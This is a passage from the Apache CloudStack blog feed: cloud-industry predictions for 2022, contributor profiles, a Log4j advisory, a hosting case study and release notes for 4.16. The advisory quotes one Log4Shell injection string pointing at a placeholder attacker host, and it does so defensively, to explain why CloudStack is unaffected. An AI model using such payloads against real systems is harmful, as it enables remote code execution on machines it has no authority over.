will start using ARM-based computers to create apps, services, etc. that run on ARM and generate a requirement for more ARM-based servers/cloud providers. The strategy that will lead change is to build the ecosystem which is appearing to be working; a good business/developer benefit is that you'll write apps that will then run on mobile, IoT, laptop/consumer computers, and also in the cloud.”</em></p><p>&nbsp;</p><h2>Edge Computing, Blockchain and Green Cloud</h2><p>The world's data is expected to grow 61% to 175 zettabytes by 2025. According to Gartner, around 10% of enterprise-generated data is created and processed outside a traditional centralized data center or cloud. By 2025, Gartner predicts that this figure will reach 75%. The increase of IoT devices at the edge of the network is producing a massive amount of data - storing and using all that data in cloud data centers pushes network bandwidth requirements to the limit.</p><p>- <strong>Kshitish Purohit, Chief Product Officer, <a href="https://www.indiqus.com/" target="_blank" rel="noopener">IndiQus Technologies</a>:</strong></p><p><em>“Web3 is already here and 2022 is going to see a lot of movement happening in this space. The 'decentralised tech' landscape will find firmer ground as more understanding is built on the use of blockchains, edge and the likes. 2021 already saw this potential with big companies (and even governments) adopting these new technologies - crypto, AI, AR, metaverse etc. - and these are going to continue on an upward trend.”</em></p><p>- <a href="https://www.linkedin.com/in/gabriel-beims-brascher/" target="_blank" rel="noopener"><strong>Gabriel Beims Bräscher, VP Apache CloudStack</strong></a><strong>:</strong></p><p><em>“We are still far from ideal "green" data centres, but this has become relevant in the past years. An example of the relevancy of this subject can be seen at the European Commission's <a href="https://digital-strategy.ec.europa.eu/en/policies/green-cloud" target="_blank" rel="noopener noreferrer"><strong>Green cloud and green data centres</strong></a> policy. Additionally, studies show that moving companies' internal workloads to <a href="https://www.forbes.com/sites/forbestechcouncil/2021/09/23/how-cloud-migration-and-ai-can-help-reduce-carbon-footprint/" target="_blank" rel="noopener noreferrer">Cloud providers can reduce the CO2 footprint</a>. In 2022 we might see more ideas and proposals on how to improve efficiency, reducing energy costs and CO2 footprint. It is still hard to apply academic studies to the industry, but 2022 might be a year where we start changing it.”</em></p><p>&nbsp;</p><h2>IPv6 Stack</h2><p>The continued expansion of the internet relies on a greater number of IP addresses, and with the current limitation of the IPv4 stack, it is impossible to continue this expansion. The advent of cloud-native applications based on containerized microservices requires a relatively large number of public addresses, so the use of 128-bit IPv6 stacks that, theoretically allowing IP addresses, allows for continued expansion.</p><p>- <a href="https://www.linkedin.com/in/gabriel-beims-brascher/" target="_blank" rel="noopener"><strong>Gabriel Beims Bräscher, VP Apache CloudStack</strong></a><strong>:</strong></p><p><em>“It is not news, IPv4 is reaching its limit. And each year we see companies and services being moved towards IPv6. This includes recent movements in Kubernetes 1.23 where Dual-stack IPv4 / IPv6 Networking has reached general availability (GA), in the last quarter of 2021.”</em></p><p>&nbsp;</p><h2>Market Dynamics</h2><p>- <strong>Giles Sirett, CEO, <a href="https://www.shapeblue.com/" target="_blank" rel="noopener noreferrer">ShapeBlue:</a></strong></p><p><em>“</em><em>The meteoritic growth in the IaaS market is well documented and predicted by most analysts to continue strongly through 2022. There are lots of different numbers flying around but most of the analysts seem to settle on a c.30% YoY growth for IaaS - taking it to near 100 billion markets in 2022.&nbsp; Interestingly, the market share for the hyperscalers remains constant at about 80% - as much as most service providers would love to have some of that 80%, that still leaves a 20 billion growth market for everybody else.”</em></p><p>- <strong>Ezequiel McGovern - <a href="https://www.arsat.com.ar/" target="_blank" rel="noopener">ARSAT</a>:</strong></p><p><em>“The concept of buying VMs will gradually change to buying Docker clusters (K8S) or similar solutions, so cloud managers have to prepare to provide services that are further away from the hypervisor.”</em></p><p>&nbsp;</p><h2>Private Cloud No More</h2><p>The private or on-premise cloud allows a company to run workloads in their private data center. It is increasingly common to see companies migrating their workloads to cloud providers, thus reducing CAPEX-related costs. See the prediction on this topic below.</p><p>- <strong>Giles Sirett, CEO, <a href="https://www.shapeblue.com/" target="_blank" rel="noopener noreferrer">ShapeBlue:</a></strong></p><p><em>“For a decade, the term private cloud has been used to describe a set of orchestrated/automated infrastructure components to give users a “cloud-like” experience of their own internal infra. Increasingly, environments such as this are being used as the foundation for automation - they become part of the plumbing instead of the end goal itself. I’d therefore predict the term private-cloud starting to disappear from our lexicon.”</em></p><p>&nbsp;</p><h2>Hybrid Cloud</h2><p>The use of multiple clouds, public and on-premise, allows operators to run applications based on containers in geographically dispersed locations of different providers, thus increasing the high availability of the applications and reducing the latency since, depending on the architecture, it allows operators to distribute the workloads to the cloud closest to the users using IP geolocation as well as edge clouds.</p><p>- <strong>Boyan Ivanov, CEO, <a href="https://storpool.com/" target="_blank" rel="noopener">StorPool:</a></strong></p><p><strong>Hybrid capabilities become crucial going forward </strong>- <em>“Due to mixed environments and new workloads, storage complexity is increasing, not decreasing. So agility, portability, and well-documented APIs are now prime considerations when designing cloud-native applications. These applications should run on-premises and off-premises in the same manner but on different hardware and software stacks. So agility, flexibility, versatility, integrations and APIs become key KPIs of a storage solution, along with performance (think latency, IOPS, GB/S) and TCO (think Total Cost of Ownership, $/GB)</em>.”</p><p>&nbsp;</p><h2>Traditional SAN and Software-Defined-Storage</h2><p>On the storage market, the innovations and SDS will continue steadily to replace legacy technologies. It's a natural case of evolution. By using API-compatible devices, you can control granular details like IOPs, snapshots and scaling without any headaches. The natural evolution of storage is software-defined storage (SDS), decoupling and abstracting storage resources from the underlying hardware platform for greater flexibility, efficiency and rapid scalability, making storage resources programmable and scalable.</p><p>- <strong>Boyan Ivanov, CEO, <a href="https://storpool.com/" target="_blank" rel="noopener">StorPool:</a></strong></p><p><em>“The diversity from emerging applications puts strain on traditional, legacy SAN products and platforms. The storage solutions </em><em>have been largely unchanged for the last three decades, except for the introduction of faster storage media (SSDs / NVMes) and extra data management software pieces (AI, anyone?) on top of the same underlying rigid architecture. Yet the large-scale, complex, and versatile IT platforms that power businesses today need a new generation of powerful and versatile storage platforms. These storage platforms can cover multiple use-cases, performance tiers, have API-first management, and linearly scale to sizes which were impossible with the traditional SAN architecture. Besides: who wants to buy and manage five different types of SAN / AFA family groups if they can have one or two best-in-class, latest generation SDS storage solutions?”&nbsp; </em></p><p>- <strong>Ezequiel McGovern - <a href="https://www.arsat.com.ar/" target="_blank" rel="noopener">ARSAT</a>:</strong></p><p><em>“Regarding the shared storage needs for classic solutions, the use of Ceph will be established, since it has shown in production that everything it promises is fulfilled in real life.”</em></p><p>&nbsp;</p><h2>Conclusion</h2><p>The predictions seem clear and achievable. As a constantly developing software, Apache CloudStack follows the trends and evolves with the market needs. Apache CloudStack follows the open-source philosophy and has a strong and united community. It has recently been integrated with Kubernetes and extended IPv6 support for VPC and isolated networks. The Apache CloudStack use cases cover edge computing and hybrid cloud workloads. Besides that, the market for IaaS/Cloud will generate greater demand for hyperscalers, but also for service providers.</p>]]></content:encoded>
            <category>news</category>
        </item>
        <item>
            <title><![CDATA[Meet the Community - David Jumani]]></title>
            <link>https://cloudstack.apache.org/blog/meet-the-community-david-jumani</link>
            <guid>https://cloudstack.apache.org/blog/meet-the-community-david-jumani</guid>
            <pubDate>Thu, 13 Jan 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[The Apache CloudStack Community is an ever-growing and rapidly-developed community of people all around the globe committed to open-source technology. We are a welcoming society for new contributors and people keen on technology. This blog series will present you with recent CloudStack Committers and PMC members. Learn more about our tech society!]]></description>
            <content:encoded><![CDATA[<p><a href="/blog/meet-the-community-david-jumani"><img loading="lazy" src="/img/imported/1033b38c-1717-4707-9098-fdc208260857" alt="Meet-CS-Community-David-Jumani.png" width="750" class="img_ev3q"></a></p><p>The Apache CloudStack Community is an ever-growing and rapidly-developed community of people all around the globe committed to open-source technology. We are a welcoming society for new contributors and people keen on technology. This blog series will present you with recent CloudStack Committers and PMC members. Learn more about our tech society!</p><p>Meet David Jumani - a Software Engineer and a Committer to the Apache CloudStack Project. David studied Computer Science and Engineering, and after graduation, he worked at some of the biggest virtualization and networking companies (such as VMware, Cisco and General Electric) developing cloud and on-premise applications, such as an incident co-relation engine (from which relationships can be drawn from monitoring events). He is based in India, was a national rugby player, dislikes coffee and enjoys trekking and going on long rides.</p><b>Introduce yourself with a few words?</b><p>Tall, smart, handsome. Love sports, adventures and am ready to take up any challenge that comes my way. Enjoy deconstructing problems, automating tasks, optimizing solutions and making life just a bit better today than it was yesterday!
<!-- -->&nbsp;</p><b>Tell us your story in one Tweet.</b><p>"Hello World". Two simple words inspired me and forged the path to where I am today. With just a few lines of code, I can create something that thinks, serves a purpose and makes people's lives better!
<!-- -->&nbsp;</p><b>When did you start your CloudStack journey?</b><p>I started my journey in 2020 when I had joined ShapeBlue as a Software Engineer. <br>
<!-- -->&nbsp;</p><b>Who was your mentor during your CloudStack journey?</b><p>I think he was pretty much everybody's mentor - Rohit Yadav!<br>
<!-- -->&nbsp;</p><b>Which was the latest feature on which you contributed or what was your last commitment to the CloudStack project?</b><p>The support for autoscaling CloudStack Kubernetes Clusters. It allows the cluster to dynamically scale its worker nodes based on workloads and administrative requirements without user intervention, the way Kubernetes is meant to!<br>
<!-- -->&nbsp;</p><b>Why do people need to choose open-source technology?</b><p>Free obviously, since everybody loves free stuff. Jokes aside, it has a wide community of like-minded people who decide the direction of the project and want the project to succeed. Additionally, open-source is completely transparent so you know exactly what you're choosing and why.<br></p><p>Find David Jumani on GitHub: <a href="https://github.com/davidjumani" target="_blank" rel="noopener noreferrer"></a><a href="https://github.com/davidjumani" target="_blank" rel="noopener noreferrer">https://github.com/davidjumani</a></p>]]></content:encoded>
            <category>community</category>
        </item>
        <item>
            <title><![CDATA[Meet the Community - Pearl Dsilva]]></title>
            <link>https://cloudstack.apache.org/blog/meet-the-community-pearl-dsilva</link>
            <guid>https://cloudstack.apache.org/blog/meet-the-community-pearl-dsilva</guid>
            <pubDate>Thu, 06 Jan 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[The Apache CloudStack Community is an ever-growing and rapidly-developed community of people all around the globe committed to open-source technology. We are a welcoming society for new contributors and people keen on technology. This blog series will present you with recent CloudStack Committers and PMC members. Learn more about our tech society!]]></description>
            <content:encoded><![CDATA[<a href="/blog/meet-the-community-pearl-dsilva"><img loading="lazy" src="/img/imported/2620f89b-add0-4f09-a8bf-ef477dbdfc94" width="100%" alt="Meet-CS-Pearl.png" class="img_ev3q"></a><p>The Apache CloudStack Community is an ever-growing and rapidly-developed community of people all around the globe committed to open-source technology. We are a welcoming society for new contributors and people keen on technology. This blog series will present you with recent CloudStack Committers and PMC members. Learn more about our tech society!</p><p>Meet <a href="https://github.com/Pearl1594" target="_blank" rel="noopener noreferrer">Pearl Dsilva</a> – one of the CloudStack Committers. Learn more about her!</p><b>Introduce yourself with a few words?</b><p>Hi, I'm Pearl Dsilva, with about 5 years of experience in Telecommunications and Cloud Computing. I'm based in Bangalore, India, and currently work at ShapeBlue. I have done my Bachelor's Degree in Engineering in E&amp;C. Since then, my career has been mainly in Telecommunications and Cloud management.
I am an avid reader who likes to devour fiction books and binge-watch series over weekends. Self-learning and self-motivation are the mantras that I follow to keep myself abreast with new things in our field of work. Never averse to taking a new role, responsibilities, and tasks that require reinventing myself.</p><b>Tell us your story in one Tweet.</b><p>An Electronics &amp; Communications Engineer who developed an interest in networking and communications in distributed systems. Over the years, I've had the opportunity to work in cloud computing, network management, cloud automation, and orchestration. I would like to give credit to my first company, where I joined as a campus recruit for providing me guidance, training, and exposure in the related field. The mentors that I had played a massive role in skill development which has played a significant role in what I am today. All this led me to an opportunity to work on CloudStack and be a part of the community.</p><b>When did you start your CloudStack journey?</b><p>In November 2019, I started dabbling with CloudStack. It began as something that I did as part of my job. But as time passed by, I realised it was fun working on an open-source project. There are many ways to contribute and be involved, and the community members are helpful. And this journey goes on …</p><b>Who was your mentor during your CloudStack journey?</b><p>Rohit Yadav has been an absolute mentor right from day one. From helping me understand CloudStack to getting me around with how the community works, Rohit's always been there to help and support. He has been a great motivator, especially the role he played during the onboarding process. The learning by interacting with him and the other community members has been immense.</p><b>Which was the latest feature on which you contributed, or what was your last commitment to the CloudStack project?</b><p>Among the features I've worked on, the most recent ones include enabling automatic upgrades in CloudStack - without needing to register the SystemVM template prior to the upgrade, support for bulk actions in the UI, and custom Resource Icons support.</p><b>Why do people need to choose open-source technology?</b><p>Opensource software is agile and flexible, and the users can easily contribute or propose ideas that they intend to see in the project. Furthermore, it is backed by an involved community, which makes it a better option compared to proprietary software in many ways.</p>]]></content:encoded>
            <category>community</category>
        </item>
        <item>
            <title><![CDATA[CloudStack Advisory on Apache Log4j Zero Day (CVE-2021-44228)]]></title>
            <link>https://cloudstack.apache.org/blog/log4jshell</link>
            <guid>https://cloudstack.apache.org/blog/log4jshell</guid>
            <pubDate>Mon, 13 Dec 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[On 9th December 2021, a new zero-day vulnerability for Apache Log4j was reported. It is by now tracked under CVE-2021-44228:]]></description>
            <content:encoded><![CDATA[<p>On 9th December 2021, a new zero-day vulnerability for Apache Log4j was reported. It is by now tracked under CVE-2021-44228:</p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228" target="_blank" rel="noopener noreferrer">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228</a>.<p>CVE-2021-44228 vulnerability is classified under the highest severity mark and allows an attacker to execute arbitrary code by injecting a sub-string in the form "${jndi:ldap://some.attacker-controlled.site/}" into a logged message. Apache Log4j 2.x is reported to be affected as it performs a lookup (string substitution) using the JNDI protocol, whenever the "${jndi:...}" string is found within a message parameter.</p><p>The Apache <a href="https://github.com/apache/logging-log4j2/pull/608#issuecomment-990494126" target="_blank" rel="noopener noreferrer">Log4j developers</a> and the <a href="http://slf4j.org/log4shell.html" target="_blank" rel="noopener noreferrer">SLF4J project advisory</a> confirm that Apache Log4j 1.x does not offer a look-up mechanism and does not suffer remote code execution (RCE) vulnerability from CVE-2021-44228.</p><p>All Apache CloudStack releases since v4.6 use Apache Log4j version 1.2.17 and therefore are not affected by this RCE vulnerability. Most users who haven't changed the default log4j xml config don't need to do anything, advanced users can check and fix their log4j xml configuration if they're using any custom JMS appenders.</p><p>The Apache CloudStack project will consider migrating to a different version of Apache Log4j in future releases.</p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[IKOULA Simplifies the Management of Large-Scale Cloud Infrastructure with CloudStack and XCP-ng]]></title>
            <link>https://cloudstack.apache.org/blog/case-study-ikoula-xcpng-cloudstack</link>
            <guid>https://cloudstack.apache.org/blog/case-study-ikoula-xcpng-cloudstack</guid>
            <pubDate>Tue, 07 Dec 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[The French specialist in web hosting, dedicated servers, and cloud computing IKOULA announced a joint case study with the leading open-source cloud management software CloudStack. For the management of their cloud environment, IKOULA decided to choose the open-source way by combining the power of CloudStack with the simplicity of the open-source hypervisor XCP-ng. Тhe turnkey combination was carefully selected following the long-term company strategy to guarantee a constant product evolution, reliability, and simplicity for their customers. As a result, IKOULA is now among the most innovative cloud and managed services providers in Europe, with an extensive portfolio of cloud solutions. Moreover, a large number of customers use their CloudStack-orchestrated infrastructure to deploy memory-oriented and storage-oriented VMs or Kubernetes clusters.]]></description>
            <content:encoded><![CDATA[<a href="/blog/case-study-ikoula-xcpng-cloudstack"><img loading="lazy" src="/img/imported/00e58d80-9b92-4974-9b5e-d06150ea0868" width="100%" alt="ikoula-xcpng-case-study-1200-628.png" class="img_ev3q"></a><p>The French specialist in web hosting, dedicated servers, and cloud computing IKOULA announced a joint case study with the leading open-source cloud management software CloudStack. For the management of their cloud environment, IKOULA decided to choose the open-source way by combining the power of CloudStack with the simplicity of the open-source hypervisor XCP-ng. Тhe turnkey combination was carefully selected following the long-term company strategy to guarantee a constant product evolution, reliability, and simplicity for their customers. As a result, IKOULA is now among the most innovative cloud and managed services providers in Europe, with an extensive portfolio of cloud solutions. Moreover, a large number of customers use their CloudStack-orchestrated infrastructure to deploy memory-oriented and storage-oriented VMs or Kubernetes clusters.</p><a href="https://cwiki.apache.org/confluence/download/attachments/30757703/CloudStack_Case-Study_IKOULA_2021-11_EN.pdf?version=1&amp;modificationDate=1638874264049&amp;api=v2" target="_blank" rel="noopener noreferrer" class="button button--primary button--lg"><b>DOWNLOAD THE CASE STUDY (ENGLISH)</b></a><br><br><a href="https://cwiki.apache.org/confluence/download/attachments/30757703/CloudStack_Case-Study_IKOULA_2021-11_FR.pdf?version=1&amp;modificationDate=1638874279575&amp;api=v2" target="_blank" rel="noopener noreferrer" class="button button--primary button--lg"><b>DOWNLOAD THE CASE STUDY (FRENCH)</b></a><p>The cloud and hosting market is one of the most competitive in the tech industry. Companies need to constantly innovate, be creative, offer exceptional service quality and support while keeping a competitive price. Choosing an open-source technology stack is a strategic decision taken by IKOULA. They eliminate all vendor lock-ins and ensure the company has full control over their infrastructure by being open-source. Other significant benefits are the easy management of extensive infrastructure, guaranteed reliability, and seamless scalability.</p><p>“It is essential for us as a hosting company to know exactly what is running on our servers. This is a decisive advantage in terms of security. We decided to go with open-source solutions, as they deliver the reliability and flexibility we need. When it comes to debugging issues, we can quickly look in the code and fix it or ask the community for help on the error. CloudStack and XCP-ng have an active and growing community and constantly evolving products, which is a huge benefit”, <b>said Joaquim Dos Santos, R&amp;D Director at Ikoula</b>.</p><p>CloudStack and XCP-ng also give a financial advantage to IKOULA, which is extremely important in their market segment. According to their team, operating XCP-ng and CloudStack results in greatly reduced costs than other solutions. They have also greatly reduced their reliance on 3rd parties to help maintain their environment.</p><p>At this stage, IKOULA manages a large CloudStack environment with 100+ hosts in 8 different zones and 6600+ customers using it. They can make live updates and upgrades of the system without any service interruptions for the end-users. Among the most valuable CloudStack features for them are the multi-tenancy of the solution, its scalability and the power to easily manage hundreds of hosts and thousands of VMs.</p><br><a href="https://cwiki.apache.org/confluence/download/attachments/30757703/CloudStack_Case-Study_IKOULA_2021-11_EN.pdf?version=1&amp;modificationDate=1638874264049&amp;api=v2" target="_blank" rel="noopener noreferrer" class="button button--primary button--lg"><b>DOWNLOAD THE CASE STUDY (ENGLISH)</b></a><br><br><a href="https://cwiki.apache.org/confluence/download/attachments/30757703/CloudStack_Case-Study_IKOULA_2021-11_FR.pdf?version=1&amp;modificationDate=1638874279575&amp;api=v2" target="_blank" rel="noopener noreferrer" class="button button--primary button--lg"><b>DOWNLOAD THE CASE STUDY (FRENCH)</b></a><br><br><b>About IKOULA</b><p>Pioneer of the French Cloud since 1998, IKOULA has its own Datacenters in France, as well as two subsidiaries, in Spain and in the Netherlands. Because people are part of its DNA, IKOULA maintains a close relationship with its customers and provides them with teams of experts available 24/7, to advise and support them in their activities. IKOULA's teams are also multilingual, in order to respond to the internationalization issues of all of its customers, located in more than 60 countries on 4 continents. Since September 2021, IKOULA has joined the SEWAN Group.</p><br><b>About Apache CloudStack</b><p>Apache CloudStack is an open-source cloud management solution designed to deploy and manage large networks of virtual machines, as a highly available, highly scalable Infrastructure as a Service (IaaS) cloud computing platform. CloudStack is used by a number of service providers to offer public cloud services, and by many companies to provide an on-premises (private) cloud offering, or as part of a hybrid cloud solution.</p>]]></content:encoded>
            <category>case-studies</category>
        </item>
        <item>
            <title><![CDATA[What’s new in Apache CloudStack 4.16 - A Deep Dive]]></title>
            <link>https://cloudstack.apache.org/blog/what-s-new-in-apache</link>
            <guid>https://cloudstack.apache.org/blog/what-s-new-in-apache</guid>
            <pubDate>Tue, 16 Nov 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[Apache CloudStack 4.16 is the latest release of the cloud management platform from the Apache Software Foundation and is a result of months of work from the development community. 4.16 is an LTS (Long Term Support) release so will be maintained for a period of 18 months after release.]]></description>
            <content:encoded><![CDATA[<a href="/blog/what-s-new-in-apache"><img loading="lazy" src="/img/imported/9c07a866-c997-4b88-b17c-29203c8219c8" width="100%" alt="ACS-416.jpg" class="img_ev3q"></a><p>Apache CloudStack 4.16 is the latest release of the cloud management platform from the Apache Software Foundation and is a result of months of work from the development community. 4.16 is an LTS (Long Term Support) release so will be maintained for a period of 18 months after release. </p><p>As always, the release contains a myriad of small improvements and bug fixes but here we focus on the major new functionality of the release. </p><h2>New CloudStack Integrations</h2><p>Two new major storage integrations are shipped with 4.16. </p><div><b>CloudStack and Dell PowerFlex Integration</b><a href="/img/imported/74265a54-7441-47a3-910e-b042f919d5c1"><img loading="lazy" src="/img/imported/74265a54-7441-47a3-910e-b042f919d5c1?t=true" class="img_ev3q"></a><p>A plugin for Dell PowerFlex (previously ScaleIO ) allows CloudStack to directly manage primary storage pools and enable enhanced VM &amp; Volume operations on that pool including volume migrations. This integration is available for PowerFlex versions 4.3 onwards and only for the KVM hypervisor at this stage.  </p></div><br><div><b>LINBIT and CloudStack Integration</b><a href="/img/imported/8c768dc5-210a-41fc-911b-0f2f2f7c7453"><img loading="lazy" src="/img/imported/8c768dc5-210a-41fc-911b-0f2f2f7c7453?t=true" class="img_ev3q"></a><p>Support has also been added for Linstor storage. The plugin, again, allows CloudStack to manage Linstor volumes for primary storage and also supports snapshots. </p><p>LINBIT SDS is deeply integrated with Apache CloudStack. It has a native driver in the OS which provides block devices to the KVM. The CloudStack integration helps administrators to manage storage functions like snapshots, migration with the API.</p></div><div><b>Enhancements to CloudStack Kubernetes Service</b><a href="/img/imported/a407189f-02c6-4c71-ae99-bf0f99783fdf"><img loading="lazy" src="/img/imported/a407189f-02c6-4c71-ae99-bf0f99783fdf?t=true" class="img_ev3q"></a><p>CloudStack Kubernetes Service (CKS)  first shipped in CloudStack 4.14 and provides full Kubernetes integration to CloudStack – allowing users to run containerized services using Kubernetes clusters without the pain of having to deploy Kubernetes clusters themselves </p><p>CloudStack 4.16 brings a number of improvements to CKS. Kubernetes autoscaling is now supported through the creation of a Kubernetes provider for CloudStack. This means that Kubernetes will be able to scale up a cluster if pods cannot be scheduled and then scale it back down. </p><p>The base template for Kubernetes clusters in CloudStack has now been unified with the existing System VM Template, removing the dependency on CoreOS and simplifying ongoing maintenance.  </p></div><h2>UI Improvements</h2>The previous release saw a new, improved user interface experience for Apache CloudStack  – for both users and administrators. 4.16 sees many new features in that interface, all designed to make interactions with CloudStack easier.<p>It is now possible to select multiple objects (i.e. Instances, volumes, etc) and perform actions against that bulk selection. For example, if you wish to restart 10 instances or lock 5 accounts, these types of actions can easily be done with a single click.  </p><a href="/img/imported/7dd821bd-4237-4ac8-88d9-657f97e01429"><img loading="lazy" src="/img/imported/7dd821bd-4237-4ac8-88d9-657f97e01429" alt="416-zone_card_view.png" class="img_ev3q"></a><p>The UI has become much more visual with the addition of configurable icons for most types of resources. For example, zones can now be represented by geographical flags or instances by their OS type. Users can even upload a profile picture of themselves. </p><p>These icons can be configured at the administrator level and also overridden by individual users. </p><p>Users can also now make comments or notes against most resource types.  This can be used for making simple configuration notes or even as a full changelog against an object. This is available for most resource types including Instances, domains, hosts, SSH keypairs, volumes, snapshots, etc </p><p>A full audit log of comments is maintained, including the date stamp and the user who made the comment. Administrators are able to create and remove comments from any object and can see all the comments on every object. Permissions are applied to domain administrators and users, allowing them to comment, remove and see comments only on the entities they have access to. </p><p>There is also a new “Comments” section under the main menu, allowing users to see all of their comments across all objects and types.  </p><a href="/img/imported/e40e8bff-146e-445c-ace9-f48130b1f977"><img loading="lazy" src="/img/imported/e40e8bff-146e-445c-ace9-f48130b1f977" alt="416-comments.png" class="img_ev3q"></a><p>The final UI improvement is a big time saver. Users can now submit any form by pressing CTRL Enter.</p><h2>Upgrade Improvements</h2><p>The last few versions of CloudStack have all seen major improvements to the upgrade process, with the overall goal of “zero downtime upgrades” getting ever closer. </p><p>4.16 sees this work continue: the requirement to manually register the system VM Template before an upgrade has now been removed. Template registration is now automated as part of the package upgrade process. </p><p>The database upgrade process has also been refined and can be run without needing the root user credentials.</p><h2>Improved Tools &amp; Management</h2><p>The ability to import and export existing Virtual machines as CloudStack instances is an area that has seen a lot of focus in recent versions. 4.16 sees new functionality in the UI that allows admins to take existing VMWare instances for a VMWare cluster and quickly put them under CloudStack management (or to “unmanage” them in reverse). This functionality was previously available only as an API command.    </p><img loading="lazy" src="/img/imported/580a39af-db79-4391-bb0f-83404d7018b3" alt="416-comments.png" class="img_ev3q"><p>Whether an instance is allowed to dynamically scale can now be controlled in a very granular fashion, down to the level of a template or an individual instance. Previously, this was only configurable on a global basis. The hot adding of CPU and RAM. </p><p>CloudStack’s host HA feature has been extended to allow a host to be placed in a “degraded” state. In this state, HA kicks in to migrate workloads away, but the host is left running. </p><p>Enhancements have been made to pod management to allow administrators to be able to update the size of the IP range of the management pod, upwards or downwards. </p><p>Finally, CloudStack 4.16 sees an overhaul of the products documentation to reflect the new user interface.</p><h2>Documentation and Downloads</h2><p>The full list of new features can be found in the project release notes at <a href="https://docs.cloudstack.apache.org/en/4.16.0.0/releasenotes/changes.html" target="_blank" rel="noopener noreferrer"></a><a href="https://docs.cloudstack.apache.org/en/4.16.0.0/releasenotes/changes.html" target="_blank" rel="noopener noreferrer">https://docs.cloudstack.apache.org/en/4.16.0.0/releasenotes/changes.html</a></p><p>The CloudStack documentation includes upgrade instructions from previous versions of Apache CloudStack, and can be found at: <a href="https://docs.cloudstack.apache.org/en/4.16.0.0/upgrading/index.html" target="_blank" rel="noopener noreferrer"></a><a href="https://docs.cloudstack.apache.org/en/4.16.0.0/upgrading/index.html" target="_blank" rel="noopener noreferrer">https://docs.cloudstack.apache.org/en/4.16.0.0/upgrading/index.html</a></p><p>The official installation, administration and API documentation for each of the releases are available on our documentation page: <a href="https://docs.cloudstack.apache.org/" target="_blank" rel="noopener noreferrer"></a><a href="https://docs.cloudstack.apache.org/" target="_blank" rel="noopener noreferrer">https://docs.cloudstack.apache.org/</a></p><p>Download the new release here: <a href="https://cloudstack.apache.org/downloads.html" target="_blank" rel="noopener noreferrer"></a><a href="https://cloudstack.apache.org/downloads.html" target="_blank" rel="noopener noreferrer">https://cloudstack.apache.org/downloads.html</a></p>]]></content:encoded>
            <category>news</category>
        </item>
        <item>
            <title><![CDATA[The Apache Software Foundation Announces Apache® CloudStack® v4.16]]></title>
            <link>https://cloudstack.apache.org/blog/the-apache-software-foundation-announces3</link>
            <guid>https://cloudstack.apache.org/blog/the-apache-software-foundation-announces3</guid>
            <pubDate>Mon, 15 Nov 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[The Apache Software Foundation Announces Apache® CloudStack® v4.16]]></description>
            <content:encoded><![CDATA[<b>The Apache Software Foundation Announces Apache® CloudStack® v4.16</b><p>"In the past years, CloudStack has been proving a mature and
easy-to-use platform. The released 4.16.0.0 LTS adds new features,
enhancements, and bug fixes that will help tech-savy companies stay up
to date." said Gabriel Brascher, Vice President of Apache CloudStack.</p><p>"I'm pleased to see another innovative release of Apache CloudStack
from the community. CloudStack continues to evolve both in terms of
functionality, integrations and also ease of management and stability.
It is great to see new integrations to major storage vendors and so
many other features developed by community members from a broad range
of organisations, reflecting CloudStack's increasing adoption across
both service provider and enterprise organisations.”, said Giles
Sirett, Chairman, CloudStack European User Group and Apache CloudStack
PMC Member.</p><p>Apache CloudStack 4.16.0.0 is a 4.16 LTS release with 22 major new
features, and 244 enhancements and fixes since 4.15. Some of the
highlights include:</p><p>Additional OS Support for Management Servers and hypervisor hosts:</p><ul><li>Support for OpenSuse</li><li>Support for Rocky Linux</li></ul><p>New vendor integrations to allow CloudStack to leverage advanced
storage capabilities:</p><ul><li>Dell EMC PowerFlex storage plugin integration</li><li>LINSTOR storage plugin integration</li></ul><p>UI Improvements:</p><ul><li>Structured comments on objects in the UI</li><li>Custom Resource Icons to allow visual representation of most object types</li><li>The ability to perform bulk actions through the UI</li></ul><p>Enhancements to CloudStack Kubernetes Service:</p><ul><li>Support for Kubernetes  Autoscaling through the CloudStack Kubernetes provider</li><li>Kubernetes Clusters now based on System VM, giving simplified
ongoing management</li></ul><p>Improved tools &amp; management:</p><ul><li>Granular control of dynamic scaling of VM’s CPU/RAM</li><li>Import and export of VMware virtual machines through the UI</li><li>CloudStack-setup-databases script improvement to give more stable upgrades</li><li>L2 Networks Persistent modern</li><li>mac learning mode added to network offerings</li><li>HA improvements allow a host to be marked as Degraded</li><li>New API endpoint to update pod management network IP range</li><li>New API endpoint to update VLAN IP range</li></ul><h1>Documentation</h1><p>The full list of new features can be found in the project release
notes at <a href="https://docs.cloudstack.apache.org/en/4.16.0.0/releasenotes/changes.html" target="_blank" rel="noopener noreferrer">https://docs.cloudstack.apache.org/en/4.16.0.0/releasenotes/changes.html</a></p><p>The CloudStack documentation includes upgrade instructions from
previous versions of Apache CloudStack, and can be found at:
<a href="https://docs.cloudstack.apache.org/en/4.16.0.0/upgrading/index.html" target="_blank" rel="noopener noreferrer">https://docs.cloudstack.apache.org/en/4.16.0.0/upgrading/index.html</a></p><p>The official installation, administration and API documentation for
each of the releases are available on our documentation page:
<a href="https://docs.cloudstack.apache.org/" target="_blank" rel="noopener noreferrer">https://docs.cloudstack.apache.org/</a></p><h1>Downloads:</h1><p>The official source code for the 4.16.0.0 release can be downloaded
from our downloads page: <a href="https://cloudstack.apache.org/downloads.html" target="_blank" rel="noopener noreferrer">https://cloudstack.apache.org/downloads.html</a></p><p>In addition to the official source code release, individual
contributors have also made convenience binaries available on the
Apache CloudStack download page, and can be found at:</p><p><a href="https://download.cloudstack.org/ubuntu/dists/" target="_blank" rel="noopener noreferrer">https://download.cloudstack.org/ubuntu/dists/</a>
<a href="https://download.cloudstack.org/centos/7/" target="_blank" rel="noopener noreferrer">https://download.cloudstack.org/centos/7/</a>
<a href="https://download.cloudstack.org/centos/8/" target="_blank" rel="noopener noreferrer">https://download.cloudstack.org/centos/8/</a>
<a href="https://download.cloudstack.org/suse/15" target="_blank" rel="noopener noreferrer">https://download.cloudstack.org/suse/15</a>
<a href="https://www.shapeblue.com/packages/" target="_blank" rel="noopener noreferrer">https://www.shapeblue.com/packages/</a></p><p>Apache CloudStack powers numerous elastic Cloud computing services,
